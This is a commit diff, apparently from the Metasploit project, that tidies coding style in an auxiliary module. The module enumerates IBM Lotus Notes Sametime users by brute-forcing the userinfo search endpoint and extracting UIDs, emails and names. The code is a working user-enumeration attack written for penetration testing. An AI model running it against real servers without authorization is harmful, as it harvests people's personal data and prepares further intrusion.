Fixed code issues as requested in PR2801
Mostly coding style issues Re-tested in testbed - output as expectedbug/bundler_fix
parent
17c0751677
commit
55d4ad1b6a
|
@ -28,9 +28,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Opt::RPORT(443),
|
Opt::RPORT(443),
|
||||||
OptString.new('TARGETURI', [ true, 'The path to the userinfo script', \
|
OptString.new('TARGETURI', [ true, 'The path to the userinfo script',
|
||||||
'/userinfo/search']),
|
'/userinfo/search']),
|
||||||
OptEnum.new('CHARSET', [true, 'Charset to use for enumeration', 'alpha', \
|
OptEnum.new('CHARSET', [true, 'Charset to use for enumeration', 'alpha',
|
||||||
['alpha', 'alphanum', 'num'] ]),
|
['alpha', 'alphanum', 'num'] ]),
|
||||||
OptEnum.new('TYPE', [true, 'Specify UID or EMAIL', 'UID', ['UID', 'EMAIL'] ]),
|
OptEnum.new('TYPE', [true, 'Specify UID or EMAIL', 'UID', ['UID', 'EMAIL'] ]),
|
||||||
OptPath.new('DICT', [ false, 'Path to dictionary file to use', '']),
|
OptPath.new('DICT', [ false, 'Path to dictionary file to use', '']),
|
||||||
|
@ -48,16 +48,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def peer
|
|
||||||
return "#{rhost}:#{rport}"
|
|
||||||
end
|
|
||||||
|
|
||||||
def setup
|
def setup
|
||||||
|
|
||||||
# setup the desired charset
|
# setup the desired charset
|
||||||
@charset = []
|
@charset = []
|
||||||
# setup array to hold user data
|
# setup array to hold user data
|
||||||
@userdata = []
|
@user_data = []
|
||||||
|
|
||||||
if datastore['DICT'].nil? or datastore['DICT'].empty?
|
if datastore['DICT'].nil? or datastore['DICT'].empty?
|
||||||
# populate charset - lowercase only as search is case insensitive
|
# populate charset - lowercase only as search is case insensitive
|
||||||
|
@ -100,7 +96,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
print_status("Testing #{peer} for IBM Lotus Notes Sametime User Enumeration flaw")
|
print_status("Testing #{peer} for IBM Lotus Notes Sametime User Enumeration flaw")
|
||||||
|
|
||||||
begin
|
|
||||||
# test for expected response code on non-existant uid/email
|
# test for expected response code on non-existant uid/email
|
||||||
if datastore['TYPE'] == "UID"
|
if datastore['TYPE'] == "UID"
|
||||||
rval = Rex::Text.rand_text_alpha(32)
|
rval = Rex::Text.rand_text_alpha(32)
|
||||||
|
@ -112,7 +107,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'ctype' => 'text/html'
|
'ctype' => 'text/html'
|
||||||
})
|
})
|
||||||
end
|
|
||||||
|
|
||||||
begin
|
begin
|
||||||
if not res
|
if not res
|
||||||
|
@ -121,7 +115,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
elsif not res.code == 200
|
elsif not res.code == 200
|
||||||
print_error("Unexpected response from server (Response code: #{res.code})")
|
print_error("Unexpected response from server (Response code: #{res.code})")
|
||||||
return
|
return
|
||||||
elsif not JSON.parse(res.body).nil? and not JSON.parse(res.body).empty?
|
elsif not JSON.parse(res.body).blank?
|
||||||
# empty JSON element
|
# empty JSON element
|
||||||
print_error("Received invalid response from server #{peer}")
|
print_error("Received invalid response from server #{peer}")
|
||||||
return
|
return
|
||||||
|
@ -146,9 +140,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
# create initial test queue and populate
|
# create initial test queue and populate
|
||||||
@test_queue = Queue.new
|
@test_queue = Queue.new
|
||||||
if (datastore['DICT'].nil? or datastore['DICT'].empty?)
|
if (datastore['DICT'].nil? or datastore['DICT'].empty?)
|
||||||
@charset.each do | char | @test_queue.push(char) end
|
@charset.each { |char| @test_queue.push(char) }
|
||||||
else
|
else
|
||||||
File.open(datastore['DICT']).each do | line | @test_queue.push(line.chomp) end
|
File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) }
|
||||||
print_status("Loaded #{@test_queue.length} values from dictionary")
|
print_status("Loaded #{@test_queue.length} values from dictionary")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -165,6 +159,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
nt = @test_queue.length
|
nt = @test_queue.length
|
||||||
end
|
end
|
||||||
|
|
||||||
|
begin
|
||||||
1.upto(nt) do
|
1.upto(nt) do
|
||||||
t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current|
|
t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current|
|
||||||
Thread.current.kill if not test_current
|
Thread.current.kill if not test_current
|
||||||
|
@ -178,16 +173,16 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
res = make_request(test_current)
|
res = make_request(test_current)
|
||||||
|
|
||||||
# check response to see if an error was returned, if so wait 1 second and retry
|
# check response to see if an error was returned, if so wait 1 second and retry
|
||||||
if res and res == error and not @retries.include?(test_current)
|
if not res and not @retries.include?(test_current)
|
||||||
# attempt test again as the server was too busy to respond
|
# attempt test again as the server was too busy to respond
|
||||||
# correctly - error returned
|
# correctly - error returned
|
||||||
print_error("Error reading JSON resonse, attempting to redo check for \"#{test_current}\"")
|
print_error("Error reading JSON response, attempting to redo check for \"#{test_current}\"")
|
||||||
Rex::sleep(1) # sleep 1 second and retry
|
Rex::sleep(1) # sleep 1 second and retry request
|
||||||
@retries << test_current
|
@retries << test_current
|
||||||
res = make_request(test_current)
|
res = make_request(test_current)
|
||||||
end
|
end
|
||||||
|
|
||||||
if res and not res == error
|
if res
|
||||||
# check response for user data
|
# check response for user data
|
||||||
check_response(res, test_current)
|
check_response(res, test_current)
|
||||||
elsif not @retries.include?(test_current)
|
elsif not @retries.include?(test_current)
|
||||||
|
@ -203,7 +198,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
t.map do | x | x.join end
|
t.each {|x| x.join }
|
||||||
|
|
||||||
|
rescue ::Timeout::Error
|
||||||
|
ensure
|
||||||
|
t.each {|x| x.kill rescue nil }
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -213,22 +213,17 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
# combine test string with PRE and POST variables
|
# combine test string with PRE and POST variables
|
||||||
tstring = datastore['PREFIX'] + test_current + datastore['SUFFIX'] + "*"
|
tstring = datastore['PREFIX'] + test_current + datastore['SUFFIX'] + "*"
|
||||||
# Apply timing information
|
# Apply timing information to pause between making requests - not a timeout
|
||||||
if datastore['TIMING'] > 0
|
if datastore['TIMING'] > 0
|
||||||
Rex::sleep(datastore['TIMING'])
|
Rex::sleep(datastore['TIMING'])
|
||||||
end
|
end
|
||||||
|
|
||||||
begin
|
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'uri' => normalize_uri(@reqpath + tstring),
|
'uri' => normalize_uri(@reqpath + tstring),
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'ctype' => 'text/html'
|
'ctype' => 'text/html'
|
||||||
})
|
})
|
||||||
|
|
||||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
||||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def check_response(res, test_current)
|
def check_response(res, test_current)
|
||||||
|
@ -236,16 +231,18 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
# check the response for valid user information
|
# check the response for valid user information
|
||||||
|
|
||||||
begin
|
begin
|
||||||
if res.code.to_i == 200 and not JSON.parse(res.body).nil? and not JSON.parse(res.body).empty?
|
# check response exists AND that it validates as JSON before proceeding
|
||||||
|
if res.code.to_i == 200 and not JSON.parse(res.body).blank?
|
||||||
# successful response - extract user data
|
# successful response - extract user data
|
||||||
extract_user(res, test_current)
|
extract_user(res)
|
||||||
# extend test_queue to search for further data (not if dictionary in use)
|
# extend test_queue to search for further data (not if dictionary in use)
|
||||||
extend_queue(test_current) if (datastore['DICT'].nil? or datastore['DICT'].empty?)
|
extend_queue(test_current) if (datastore['DICT'].nil? or datastore['DICT'].empty?)
|
||||||
return true
|
return true
|
||||||
elsif JSON.parse(res.body).nil? or JSON.parse(res.body).empty? # empty JSON element
|
elsif JSON.parse(res.body).blank? # empty JSON element
|
||||||
# expected failure for non-existant user
|
# expected failure for non-existent user - must return false
|
||||||
return false
|
return false
|
||||||
else
|
else
|
||||||
|
# unexpected failure
|
||||||
print_error("Unexpected response received from server #{peer}")
|
print_error("Unexpected response received from server #{peer}")
|
||||||
end
|
end
|
||||||
rescue JSON::ParserError
|
rescue JSON::ParserError
|
||||||
|
@ -254,13 +251,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def extract_user(res, test_current)
|
def extract_user(res)
|
||||||
|
|
||||||
# extract user data if not already present
|
# extract user data if not already present
|
||||||
begin
|
begin
|
||||||
userinfo = JSON.parse(res.body)
|
userinfo = JSON.parse(res.body)
|
||||||
if not @userdata.flatten.include?(userinfo['uid'])
|
if not @user_data.flatten.include?(userinfo['uid'])
|
||||||
@userdata << [ userinfo['uid'], userinfo['mail'] || "-", userinfo['externalName'] || "-" ]
|
@user_data << [ userinfo['uid'], userinfo['mail'] || "-", userinfo['externalName'] || "-" ]
|
||||||
if datastore['STREAMFINDINGS']
|
if datastore['STREAMFINDINGS']
|
||||||
# print newly discovered users straight to the screen
|
# print newly discovered users straight to the screen
|
||||||
print_good("New user found: #{userinfo['uid']}")
|
print_good("New user found: #{userinfo['uid']}")
|
||||||
|
@ -331,12 +328,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
])
|
])
|
||||||
|
|
||||||
# populate tables
|
# populate tables
|
||||||
@userdata.each do | line |
|
@user_data.each do | line |
|
||||||
user_tbl << [ line[0], line[1], line[2] ]
|
user_tbl << [ line[0], line[1], line[2] ]
|
||||||
end
|
end
|
||||||
|
|
||||||
if not user_tbl.to_s.empty?
|
if not user_tbl.to_s.empty?
|
||||||
print_good("#{@userdata.length} users extracted from #{peer}")
|
print_good("#{@user_data.length} users extracted from #{peer}")
|
||||||
print_line(user_tbl.to_s)
|
print_line(user_tbl.to_s)
|
||||||
else
|
else
|
||||||
print_error("No users discovered")
|
print_error("No users discovered")
|
||||||
|
|
Loading…
Reference in New Issue